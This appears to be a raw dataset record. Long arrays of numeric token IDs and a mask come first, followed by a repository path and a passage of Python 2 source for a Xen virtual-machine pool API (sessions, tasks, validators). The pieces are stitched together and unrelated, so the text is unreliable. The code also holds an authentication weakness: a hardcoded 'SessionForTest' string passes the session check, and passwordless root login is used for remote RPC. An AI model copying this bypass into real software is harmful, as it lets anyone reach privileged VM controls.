1513, 72, 16836, 774, 8, 8385, 63, 396, 63, 1208, 14, 1746, 304, 272, 408, 2925, 1919, 13, 9341, 316, 5953, 1041, 2378, 347, 1379, 1513, 72, 16836, 8, 277, 12, 511, 63, 1199, 304, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 283, 673, 283, 262, 314, 511, 10949, 3985, 83, 3787, 7, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 283, 673, 283, 262, 314, 511, 10949, 3985, 83, 32133, 7, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 315, 2494, 1721, 1746, 11716, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 315, 377, 25236, 1746, 11716, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 315, 2494, 1721, 11716, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 315, 377, 25236, 11716, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 315, 314, 511, 2396, 7, 673, 315, 511, 63, 1199, 9, 339, 347, 511, 26096, 397, 1513, 72, 16836, 3007, 24275, 16836, 6589, 8, 277, 304, 489, 291, 14, 774, 1513, 72, 16836, 8, 1438, 63, 13246, 63, 8414, 9, 339, 347, 511, 26096, 397, 1513, 72, 16836, 3007, 24275, 16836, 15049, 8, 277, 304, 489, 291, 14, 774, 1513, 72, 16836, 8, 13246, 63, 8414, 9, 421, 199, 533, 32754, 24275, 16836, 774, 8, 8385, 63, 396, 63, 1208, 14, 1746, 304, 523, 408, 2925, 445, 4176, 1919, 13, 9341, 316, 5953, 14, 10813, 6496, 315, 642, 511, 1930 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 7129, 4475, 3277, 14, 221, 2900, 5924, 5702, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 2925, 4475, 1379, 1159, 1919, 8579, 316, 5953, 14, 199, 199, 2765, 2884, 29761, 9088, 63, 9341, 63, 3924, 63, 396, 63, 436, 199, 8385, 63, 9341, 63, 3924, 63, 476, 63, 396, 63, 334, 28464, 5313, 543, 199, 13266, 1379, 9, 436, 22694, 3932, 1072, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 7300, 350, 76, 32, 3098, 14, 957, 334, 54, 76, 350, 491, 3362, 86, 3171, 199, 199, 646, 747, 199, 199, 646, 9088, 63, 396, 63, 1208, 199, 199, 3, 22296, 14, 199, 3719, 63, 6351, 275, 2850, 8385, 8650, 199, 4924, 63, 7569, 63, 3719, 275, 11031, 63, 6351, 435, 283, 513, 63, 2219, 7, 199, 2826, 63, 35, 8078, 63, 25054, 63, 3719, 275, 11031, 63, 6351, 435, 283, 9341, 63, 3924, 29, 16, 7, 199, 9905, 63, 3719, 275, 11031, 63, 6351, 435, 283, 1541, 7, 199, 199, 3, 6912, 370, 314, 9088, 63, 9341, 63, 3924, 63, 476, 63, 396, 63, 3366, 12, 10311, 543, 199, 3, 4967, 5223, 14, 199, 1438, 63, 23017, 63, 3243, 275, 9088, 63, 396, 63, 1208, 14, 28967, 27602, 8, 272, 283, 8385, 63, 9341, 63, 3924, 63, 476, 63, 396, 15452, 199, 199, 3, 6912, 370, 314, 9088, 63, 9341, 63, 3924, 63, 396, 63, 3366, 12, 10311, 543, 199, 3, 4967, 6980, 14, 199, 23017, 63, 3243, 275, 9088, 63, 396, 63, 1208, 14, 28967, 27602, 8, 272, 283, 8385, 63, 9341, 63, 3924, 63, 889, 63, 476, 63, 396, 15452, 199, 199, 2864, 63, 4924, 275, 9088, 63, 396, 63, 1208, 14, 22299, 779, 23017, 63, 3243, 12, 21716, 63, 7569, 63, 3719, 6575, 1199, 199, 199, 10640, 51, 63, 899, 40, 63, 25054, 275, 283, 2719, 3838, 1513, 72, 1726, 7, 315, 7393, 63, 4924, 199, 199, 692, 13756, 51, 63, 899, 40, 63, 25054, 26, 523, 32698, 63, 8414, 275, 9088, 63, 396, 63, 1208, 14, 22299, 779, 23017, 63, 3243, 6575, 1199, 199, 199, 1438, 63, 13246, 63, 8414, 275, 9088, 63, 396, 63, 1208, 14, 22299, 779, 1438, 63, 23017, 63, 3243, 6575, 1199, 199, 199, 3, 710, 2295, 14, 199, 692, 13756, 51, 63, 899, 40, 63, 25054, 26, 523, 327, 4287, 26, 5993, 13, 1328, 29, 35, 2766, 996, 523, 1021, 32754, 1513, 72, 16836, 774, 8, 8385, 63, 396, 63, 1208, 14, 1746, 304, 272, 408, 2925, 1919, 13, 9341, 316, 5953, 1041, 2378, 347, 1379, 1513, 72, 16836, 8, 277, 12, 511, 63, 1199, 304, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 283, 673, 283, 262, 314, 511, 10949, 3985, 83, 3787, 7, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 283, 673, 283, 262, 314, 511, 10949, 3985, 83, 32133, 7, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 315, 2494, 1721, 1746, 11716, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 315, 377, 25236, 1746, 11716, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 315, 2494, 1721, 11716, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 315, 377, 25236, 11716, 673, 315, 511, 63, 1199, 9, 489, 291, 14, 479, 11252, 899, 40, 1919, 543, 1233, 378, 88, 18, 65, 14031, 315, 314, 511, 2396, 7, 673, 315, 511, 63, 1199, 9, 339, 347, 511, 26096, 397, 1513, 72, 16836, 3007, 24275, 16836, 6589, 8, 277, 304, 489, 291, 14, 774, 1513, 72, 16836, 8, 1438, 63, 13246, 63, 8414, 9, 339, 347, 511, 26096, 397, 1513, 72, 16836, 3007, 24275, 16836, 15049, 8, 277, 304, 489, 291, 14, 774, 1513, 72, 16836, 8, 13246, 63, 8414, 9, 421, 199, 533, 32754, 24275, 16836, 774, 8, 8385, 63, 396, 63, 1208, 14, 1746, 304, 523, 408, 2925, 445, 4176, 1919, 13, 9341, 316, 5953, 14, 10813, 6496, 315, 642, 511, 1930, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Hearen/OnceServer
pool_management/bn-xend-core/xend/BNVMAPI.py
1
374814
import traceback import inspect import os import Queue import string import sys import threading import time import xmlrpclib import socket import struct import copy import re import XendDomain, XendDomainInfo, XendNode, XendDmesg, XendConfig import XendLogging, XendTaskManager, XendAPIStore, XendIOController from xen.xend.BNPoolAPI import BNPoolAPI from xen.util.xmlrpcclient import ServerProxy from xen.xend import uuid as genuuid from XendLogging import log from XendNetwork import XendNetwork from XendError import * from XendTask import XendTask from xen.util import ip as getip from xen.util import Netctl from xen.xend import sxp from xen.xend.XendCPUPool import XendCPUPool from XendAuthSessions import instance as auth_manager from xen.util.xmlrpclib2 import stringify from xen.util import xsconstants from xen.util.xpopen import xPopen3 from xen.xend.XendConstants import DOM_STATE_HALTED, DOM_STATE_PAUSED from xen.xend.XendConstants import DOM_STATE_RUNNING, DOM_STATE_SUSPENDED from xen.xend.XendConstants import DOM_STATE_SHUTDOWN, DOM_STATE_UNKNOWN from xen.xend.XendConstants import DOM_STATE_CRASHED, HVM_PARAM_ACPI_S_STATE from xen.xend.XendConstants import VDI_DEFAULT_STRUCT, VDI_DEFAULT_SR_TYPE, VDI_DEFAULT_DIR from xen.xend.XendConstants import FAKE_MEDIA_PATH, FAKE_MEDIA_NAME from xen.xend.XendConstants import CD_VBD_DEFAULT_STRUCT, DEFAULT_HA_PATH from xen.xend.XendConstants import CACHED_CONFIG_FILE from XendAPIConstants import * from xen.xend.ConfigUtil import getConfigVar GB = 1024 * 1024 * 1024 if getConfigVar('compute', 'VM', 'disk_limit'): DISK_LIMIT = int(getConfigVar('compute', 'VM', 'disk_limit')) else: DISK_LIMIT = 6 if getConfigVar('compute', 'VM', 'interface_limit'): INTERFACE_LIMIT = int(getConfigVar('compute', 'VM', 'interface_limit')) else: INTERFACE_LIMIT = 6 if getConfigVar('virtualization', 'DOM0', 'reserved_mem_gb'): RESERVED_MEM = int(getConfigVar('virtualization', 'DOM0', 'reserved_mem_gb')) * GB else: RESERVED_MEM = 4 * GB try: set except NameError: from sets import Set as set reload(sys) sys.setdefaultencoding( "utf-8" ) DOM0_UUID = "00000000-0000-0000-0000-000000000000" argcounts = {} def doexec(args, inputtext=None): """Execute a subprocess, then return its return code, stdout and stderr""" proc = xPopen3(args, True) if inputtext != None: proc.tochild.write(inputtext) stdout = proc.fromchild stderr = proc.childerr rc = proc.wait() return (rc, stdout, stderr) # ------------------------------------------ # Utility Methods for Xen API Implementation # ------------------------------------------ def xen_api_success(value): """Wraps a return value in XenAPI format.""" if value is None: s = '' else: s = stringify(value) return {"Status": "Success", "Value": s} def xen_api_success_void(): """Return success, but caller expects no return value.""" return xen_api_success("") def xen_api_error(error): """Wraps an error value in XenAPI format.""" if type(error) == tuple: error = list(error) if type(error) != list: error = [error] if len(error) == 0: error = ['INTERNAL_ERROR', 'Empty list given to xen_api_error'] return { "Status": "Failure", "ErrorDescription": [str(x) for x in error] } def xen_rpc_call(ip, method, *args): """wrap rpc call to a remote host""" try: if not ip: return xen_api_error("Invalid ip for rpc call") # create proxy = ServerProxy("http://" + ip + ":9363/") # login response = proxy.session.login('root') if cmp(response['Status'], 'Failure') == 0: log.exception(response['ErrorDescription']) return xen_api_error(response['ErrorDescription']) session_ref = response['Value'] # excute method_parts = method.split('_') method_class = method_parts[0] method_name = '_'.join(method_parts[1:]) if method.find("host_metrics") == 0: method_class = "host_metrics" method_name = '_'.join(method_parts[2:]) #log.debug(method_class) #log.debug(method_name) if method_class.find("Async") == 0: method_class = method_class.split(".")[1] response = proxy.__getattr__("Async").__getattr__(method_class).__getattr__(method_name)(session_ref, *args) else: response = proxy.__getattr__(method_class).__getattr__(method_name)(session_ref, *args) if cmp(response['Status'], 'Failure') == 0: log.exception(response['ErrorDescription']) return xen_api_error(response['ErrorDescription']) # result return response except socket.error: return xen_api_error('socket error') def xen_api_todo(): """Temporary method to make sure we track down all the TODOs""" return {"Status": "Error", "ErrorDescription": XEND_ERROR_TODO} def now(): return datetime() def datetime(when = None): """Marshall the given time as a Xen-API DateTime. @param when The time in question, given as seconds since the epoch, UTC. May be None, in which case the current time is used. """ if when is None: return xmlrpclib.DateTime(time.gmtime()) else: return xmlrpclib.DateTime(time.gmtime(when)) # ----------------------------- # Bridge to Legacy XM API calls # ----------------------------- def do_vm_func(fn_name, vm_ref, *args, **kwargs): """Helper wrapper func to abstract away from repetitive code. @param fn_name: function name for XendDomain instance @type fn_name: string @param vm_ref: vm_ref @type vm_ref: string @param *args: more arguments @type *args: tuple """ try: xendom = XendDomain.instance() fn = getattr(xendom, fn_name) xendom.do_legacy_api_with_uuid(fn, vm_ref, *args, **kwargs) return xen_api_success_void() except VMBadState, exn: return xen_api_error(['VM_BAD_POWER_STATE', vm_ref, exn.expected, exn.actual]) # --------------------------------------------------- # Event dispatch # --------------------------------------------------- EVENT_QUEUE_LENGTH = 50 event_registrations = {} def event_register(session, reg_classes): if session not in event_registrations: event_registrations[session] = { 'classes' : set(), 'queue' : Queue.Queue(EVENT_QUEUE_LENGTH), 'next-id' : 1 } if not reg_classes: reg_classes = classes sessionclasses = event_registrations[session]['classes'] if hasattr(sessionclasses, 'union_update'): sessionclasses.union_update(reg_classes) else: sessionclasses.update(reg_classes) def event_unregister(session, unreg_classes): if session not in event_registrations: return if unreg_classes: event_registrations[session]['classes'].intersection_update( unreg_classes) if len(event_registrations[session]['classes']) == 0: del event_registrations[session] else: del event_registrations[session] def event_next(session): if session not in event_registrations: return xen_api_error(['SESSION_NOT_REGISTERED', session]) queue = event_registrations[session]['queue'] events = [queue.get()] try: while True: events.append(queue.get(False)) except Queue.Empty: pass return xen_api_success(events) def _ctor_event_dispatch(xenapi, ctor, api_cls, session, args): result = ctor(xenapi, session, *args) if result['Status'] == 'Success': ref = result['Value'] event_dispatch('add', api_cls, ref, '') return result def _dtor_event_dispatch(xenapi, dtor, api_cls, session, ref, args): result = dtor(xenapi, session, ref, *args) if result['Status'] == 'Success': event_dispatch('del', api_cls, ref, '') return result def _setter_event_dispatch(xenapi, setter, api_cls, attr_name, session, ref, args): result = setter(xenapi, session, ref, *args) if result['Status'] == 'Success': event_dispatch('mod', api_cls, ref, attr_name) return result def event_dispatch(operation, api_cls, ref, attr_name): assert operation in ['add', 'del', 'mod'] event = { 'timestamp' : now(), 'class' : api_cls, 'operation' : operation, 'ref' : ref, 'obj_uuid' : ref, 'field' : attr_name, } for reg in event_registrations.values(): if api_cls in reg['classes']: event['id'] = reg['next-id'] reg['next-id'] += 1 reg['queue'].put(event) # --------------------------------------------------- # Python Method Decorators for input value validation # --------------------------------------------------- def trace(func, api_name=''): """Decorator to trace XMLRPC Xen API methods. @param func: function with any parameters @param api_name: name of the api call for debugging. """ if hasattr(func, 'api'): api_name = func.api def trace_func(self, *args, **kwargs): log.debug('%s: %s' % (api_name, args)) return func(self, *args, **kwargs) trace_func.api = api_name return trace_func def catch_typeerror(func): """Decorator to catch any TypeErrors and translate them into Xen-API errors. @param func: function with params: (self, ...) @rtype: callable object """ def f(self, *args, **kwargs): try: return func(self, *args, **kwargs) except TypeError, exn: #log.exception('catch_typeerror') if hasattr(func, 'api') and func.api in argcounts: # Assume that if the argument count was wrong and if the # exception was thrown inside this file, then it is due to an # invalid call from the client, otherwise it's an internal # error (which will be handled further up). expected = argcounts[func.api] actual = len(args) + len(kwargs) if expected != actual: tb = sys.exc_info()[2] try: sourcefile = traceback.extract_tb(tb)[-1][0] if sourcefile == inspect.getsourcefile(BNVMAPI): return xen_api_error( ['MESSAGE_PARAMETER_COUNT_MISMATCH', func.api, expected, actual]) finally: del tb raise except XendAPIError, exn: return xen_api_error(exn.get_api_error()) return f def session_required(func): """Decorator to verify if session is valid before calling method. @param func: function with params: (self, session, ...) @rtype: callable object """ def check_session(self, session, *args, **kwargs): if auth_manager().is_session_valid(session) or cmp(session, "SessionForTest") == 0: return func(self, session, *args, **kwargs) else: return xen_api_error(['SESSION_INVALID', session]) return check_session def _is_valid_ref(ref, validator): return type(ref) == str and validator(ref) def _check_ref(validator, clas, func, api, session, ref, *args, **kwargs): # if _is_valid_ref(ref, validator): return func(api, session, ref, *args, **kwargs) # else: # return xen_api_error(['HANDLE_INVALID', clas, ref]) def _check_vm(validator, clas, func, api, session, ref, *args, **kwargs): # for host_ref in BNPoolAPI._host_structs.keys(): # if BNPoolAPI._host_structs[host_ref]['VMs'].has_key(ref): if BNPoolAPI.check_vm(ref): return func(api, session, ref, *args, **kwargs) return xen_api_error(['VM_NOT_FOUND', clas, ref]) def _check_console(validator, clas, func, api, session, ref, *args, **kwargs): #if BNPoolAPI._consoles_to_VM.has_key(ref): return func(api, session, ref, *args, **kwargs) #else: return xen_api_error(['HANDLE_INVALID', clas, ref]) def valid_object(class_name): """Decorator to verify if object is valid before calling method. @param func: function with params: (self, session, pif_ref) @rtype: callable object """ return lambda func: \ lambda *args, **kwargs: \ _check_ref(lambda r: \ XendAPIStore.get(r, class_name) is not None, class_name, func, *args, **kwargs) def valid_task(func): """Decorator to verify if task_ref is valid before calling method. @param func: function with params: (self, session, task_ref) @rtype: callable object """ return lambda *args, **kwargs: \ _check_ref(XendTaskManager.get_task, 'task', func, *args, **kwargs) def valid_vm(func): """Decorator to verify if vm_ref is valid before calling method. @param func: function with params: (self, session, vm_ref, ...) @rtype: callable object """ return lambda * args, **kwargs: \ _check_vm(XendDomain.instance().is_valid_vm, 'VM', func, *args, **kwargs) def valid_vbd(func): """Decorator to verify if vbd_ref is valid before calling method. @param func: function with params: (self, session, vbd_ref, ...) @rtype: callable object """ return lambda *args, **kwargs: \ _check_ref(lambda r: XendDomain.instance().is_valid_dev('vbd', r), 'VBD', func, *args, **kwargs) def valid_vbd_metrics(func): """Decorator to verify if ref is valid before calling method. @param func: function with params: (self, session, ref, ...) @rtype: callable object """ return lambda *args, **kwargs: \ _check_ref(lambda r: XendDomain.instance().is_valid_dev('vbd', r), 'VBD_metrics', func, *args, **kwargs) def valid_vif(func): """Decorator to verify if vif_ref is valid before calling method. @param func: function with params: (self, session, vif_ref, ...) @rtype: callable object """ return lambda *args, **kwargs: \ _check_ref(lambda r: XendDomain.instance().is_valid_dev('vif', r), 'VIF', func, *args, **kwargs) def valid_vif_metrics(func): """Decorator to verify if ref is valid before calling method. @param func: function with params: (self, session, ref, ...) @rtype: callable object """ return lambda *args, **kwargs: \ _check_ref(lambda r: XendDomain.instance().is_valid_dev('vif', r), 'VIF_metrics', func, *args, **kwargs) def valid_console(func): """Decorator to verify if console_ref is valid before calling method. @param func: function with params: (self, session, console_ref, ...) @rtype: callable object """ return lambda * args, **kwargs: \ _check_console(lambda r: XendDomain.instance().is_valid_dev('console', r), 'console', func, *args, **kwargs) classes = { 'session' : None, 'VM' : valid_vm, 'VBD' : valid_vbd, 'VBD_metrics' : valid_vbd_metrics, 'VIF' : valid_vif, 'VIF_metrics' : valid_vif_metrics, 'console' : valid_console, 'task' : valid_task, } def singleton(cls, *args, **kw): instances = {} def _singleton(*args, **kw): if cls not in instances: instances[cls] = cls(*args, **kw) return instances[cls] return _singleton @singleton class BNVMAPI(object): __decorated__ = False __init_lock__ = threading.Lock() __vm_clone_lock__ = threading.Lock() __vm_change_host_lock__ = threading.Lock() __set_passwd_lock__ = threading.Lock() __vbd_lock__ = threading.Lock() def __new__(cls, *args, **kwds): """ Override __new__ to decorate the class only once. Lock to make sure the classes are not decorated twice. """ cls.__init_lock__.acquire() try: if not cls.__decorated__: cls._decorate() cls.__decorated__ = True return object.__new__(cls, *args, **kwds) finally: cls.__init_lock__.release() def _decorate(cls): """ Decorate all the object methods to have validators and appropriate function attributes. This should only be executed once for the duration of the server. """ global_validators = [session_required, catch_typeerror] # Cheat methods _hosts_name_label # ------------- # Methods that have a trivial implementation for all classes. # 1. get_by_uuid == getting by ref, so just return uuid for # all get_by_uuid() methods. for api_cls in classes.keys(): # We'll let the autoplug classes implement these functions # themselves - its much cleaner to do it in the base class get_by_uuid = '%s_get_by_uuid' % api_cls get_uuid = '%s_get_uuid' % api_cls get_all_records = '%s_get_all_records' % api_cls def _get_by_uuid(_1, _2, ref): return xen_api_success(ref) def _get_uuid(_1, _2, ref): return xen_api_success(ref) def unpack(v): return v.get('Value') def _get_all_records(_api_cls): return lambda s, session: \ xen_api_success(dict([(ref, unpack(getattr(cls, '%s_get_record' % _api_cls)(s, session, ref)))\ for ref in unpack(getattr(cls, '%s_get_all' % _api_cls)(s, session))])) setattr(cls, get_by_uuid, _get_by_uuid) setattr(cls, get_uuid, _get_uuid) setattr(cls, get_all_records, _get_all_records(api_cls)) # Autoplugging classes # -------------------- # These have all of their methods grabbed out from the implementation # class, and wrapped up to be compatible with the Xen-API. def getter(ref, type): return XendAPIStore.get(ref, type) def wrap_method(name, new_f): try: f = getattr(cls, name) wrapped_f = (lambda * args: new_f(f, *args)) wrapped_f.api = f.api wrapped_f.async = f.async setattr(cls, name, wrapped_f) except AttributeError: # Logged below (API call: %s not found) pass def setter_event_wrapper(api_cls, attr_name): setter_name = '%s_set_%s' % (api_cls, attr_name) wrap_method( setter_name, lambda setter, s, session, ref, *args: _setter_event_dispatch(s, setter, api_cls, attr_name, session, ref, args)) def ctor_event_wrapper(api_cls): ctor_name = '%s_create' % api_cls wrap_method( ctor_name, lambda ctor, s, session, *args: _ctor_event_dispatch(s, ctor, api_cls, session, args)) def dtor_event_wrapper(api_cls): dtor_name = '%s_destroy' % api_cls wrap_method( dtor_name, lambda dtor, s, session, ref, *args: _dtor_event_dispatch(s, dtor, api_cls, session, ref, args)) # Wrapping validators around XMLRPC calls # --------------------------------------- for api_cls, validator in classes.items(): def doit(n, takes_instance, async_support=False, return_type=None): n_ = n.replace('.', '_') try: f = getattr(cls, n_) if n not in argcounts: argcounts[n] = f.func_code.co_argcount - 1 validators = takes_instance and validator and \ [validator] or [] validators += global_validators for v in validators: f = v(f) f.api = n f.async = async_support if return_type: f.return_type = return_type setattr(cls, n_, f) except AttributeError: log.warn("API call: %s not found" % n) ro_attrs = getattr(cls, '%s_attr_ro' % api_cls, []) \ + cls.Base_attr_ro rw_attrs = getattr(cls, '%s_attr_rw' % api_cls, []) \ + cls.Base_attr_rw methods = getattr(cls, '%s_methods' % api_cls, []) \ + cls.Base_methods funcs = getattr(cls, '%s_funcs' % api_cls, []) \ + cls.Base_funcs # wrap validators around readable class attributes for attr_name in ro_attrs + rw_attrs: doit('%s.get_%s' % (api_cls, attr_name), True, async_support=False) # wrap validators around writable class attrributes for attr_name in rw_attrs: doit('%s.set_%s' % (api_cls, attr_name), True, async_support=False) setter_event_wrapper(api_cls, attr_name) # wrap validators around methods for method_name, return_type in methods: doit('%s.%s' % (api_cls, method_name), True, async_support=True) # wrap validators around class functions for func_name, return_type in funcs: doit('%s.%s' % (api_cls, func_name), False, async_support=True, return_type=return_type) ctor_event_wrapper(api_cls) dtor_event_wrapper(api_cls) _decorate = classmethod(_decorate) def __init__(self, auth): self.auth = auth Base_attr_ro = ['uuid'] Base_attr_rw = ['name_label', 'name_description'] Base_methods = [('get_record', 'Struct')] Base_funcs = [('get_all', 'Set'), ('get_by_uuid', None), ('get_all_records', 'Set')] def _get_XendAPI_instance(self): import XendAPI return XendAPI.instance() def _get_BNStorageAPI_instance(self): import BNStorageAPI return BNStorageAPI.instance() # Xen API: Class Session # ---------------------------------------------------------------- # NOTE: Left unwrapped by __init__ session_attr_ro = ['this_host', 'this_user', 'last_active'] session_methods = [('logout', None)] def session_get_all(self, session): return xen_api_success([session]) def session_login(self, username): try: session = auth_manager().login_unconditionally(username) return xen_api_success(session) except XendError, e: return xen_api_error(['SESSION_AUTHENTICATION_FAILED']) session_login.api = 'session.login' def session_login_with_password(self, *args): if not BNPoolAPI._isMaster and BNPoolAPI._inPool: return xen_api_error(XEND_ERROR_HOST_IS_SLAVE) if len(args) < 2: return xen_api_error( ['MESSAGE_PARAMETER_COUNT_MISMATCH', 'session.login_with_password', 2, len(args)]) username = args[0] password = args[1] try: # session = ((self.auth == AUTH_NONE and # auth_manager().login_unconditionally(username)) or # auth_manager().login_with_password(username, password)) session = auth_manager().login_with_password(username, password) return xen_api_success(session) except XendError, e: return xen_api_error(['SESSION_AUTHENTICATION_FAILED']) session_login_with_password.api = 'session.login_with_password' # object methods def session_logout(self, session): auth_manager().logout(session) return xen_api_success_void() def session_get_record(self, session, self_session): if self_session != session: return xen_api_error(['PERMISSION_DENIED']) record = {'uuid' : session, 'this_host' : XendNode.instance().uuid, 'this_user' : auth_manager().get_user(session), 'last_active': now()} return xen_api_success(record) def session_get_uuid(self, session, self_session): return xen_api_success(self_session) def session_get_by_uuid(self, session, self_session): return xen_api_success(self_session) # attributes (ro) def session_get_this_host(self, session, self_session): if self_session != session: return xen_api_error(['PERMISSION_DENIED']) if not BNPoolAPI._isMaster and BNPoolAPI._inPool: return xen_api_error(XEND_ERROR_HOST_IS_SLAVE) return xen_api_success(XendNode.instance().uuid) def session_get_this_user(self, session, self_session): if self_session != session: return xen_api_error(['PERMISSION_DENIED']) user = auth_manager().get_user(session) if user is not None: return xen_api_success(user) return xen_api_error(['SESSION_INVALID', session]) def session_get_last_active(self, session, self_session): if self_session != session: return xen_api_error(['PERMISSION_DENIED']) return xen_api_success(now()) # Xen API: Class User # ---------------------------------------------------------------- # Xen API: Class Tasks # ---------------------------------------------------------------- task_attr_ro = ['name_label', 'name_description', 'status', 'progress', 'type', 'result', 'error_info', 'allowed_operations', 'session' ] task_attr_rw = [] task_funcs = [('get_by_name_label', 'Set(task)'), ('cancel', None)] def task_get_name_label(self, session, task_ref): task = XendTaskManager.get_task(task_ref) return xen_api_success(task.name_label) def task_get_name_description(self, session, task_ref): task = XendTaskManager.get_task(task_ref) return xen_api_success(task.name_description) def task_get_status(self, session, task_ref): task = XendTaskManager.get_task(task_ref) return xen_api_success(task.get_status()) def task_get_progress(self, session, task_ref): task = XendTaskManager.get_task(task_ref) return xen_api_success(task.progress) def task_get_type(self, session, task_ref): task = XendTaskManager.get_task(task_ref) return xen_api_success(task.type) def task_get_result(self, session, task_ref): task = XendTaskManager.get_task(task_ref) return xen_api_success(task.result) def task_get_error_info(self, session, task_ref): task = XendTaskManager.get_task(task_ref) return xen_api_success(task.error_info) def task_get_allowed_operations(self, session, task_ref): return xen_api_success({}) def task_get_session(self, session, task_ref): task = XendTaskManager.get_task(task_ref) return xen_api_success(task.session) def task_get_all(self, session): tasks = XendTaskManager.get_all_tasks() return xen_api_success(tasks) def task_get_record(self, session, task_ref): task = XendTaskManager.get_task(task_ref) log.debug(task.get_record()) return xen_api_success(task.get_record()) def task_cancel(self, session, task_ref): return xen_api_error('OPERATION_NOT_ALLOWED') # def 